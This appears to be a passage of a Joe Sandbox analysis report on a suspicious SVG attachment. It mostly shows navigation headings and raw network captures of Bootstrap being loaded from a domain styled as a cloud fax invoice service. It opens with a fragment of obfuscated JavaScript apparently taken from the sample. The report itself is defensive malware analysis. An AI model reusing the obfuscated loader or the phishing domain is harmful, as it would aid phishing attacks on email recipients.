69 42 38 65 5d 3d 48 72 56 64 4e 5a 69 28 77 54 69 42 38 65 29 29 29 7d 72 65 74 75 72 6e 20 6a 41 32 71 69 70 55 5b 6e Data Ascii: DozTY[jQLOAU++]&0x3f)<<0xc\|(jA2qipU.FDozTY[jQLOAU++]&LcHYzh(0x0))<<jA2qipU.cmUo4dA-nCkDTg(0x6e)\|jA2qipU.FDozTY[jQLOAU++]&0x3f}else{OKfWDm(wTiB8e=lqjxQJu(-0x3d),jQLOAU+=0x3)}}}}n9PeikN.push(EgsDZo[wTiB8e]\|\|(EgsDZo[wTiB8e]=HrVdNZi(wTiB8e)))}return jA2qipU[n

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ATT50896.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Static File Info

General

File Icon

Network Behavior

Windows Analysis Report
ATT50896.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:05 UTC	616	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:06 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:05:06 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 2089520 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9204aad4a9390f74-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:05:06 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:05 UTC	624	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: https://inv18993383.cloudfaxservice.de sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:06 UTC	966	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:05:06 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 1b50a9ebcbc6be345bf9ff0a938be8e9 CDN-Cache: HIT CF-Cache-Status: HIT Age: 240894 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9204aad4ca66c452-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:05:06 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bed/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e Data Ascii: ine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defin
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c Data Ascii: function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEl
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._des
2025-03-14 15:05:06 UTC	1369	IN	Data Raw: 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 Data Ascii: &p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element
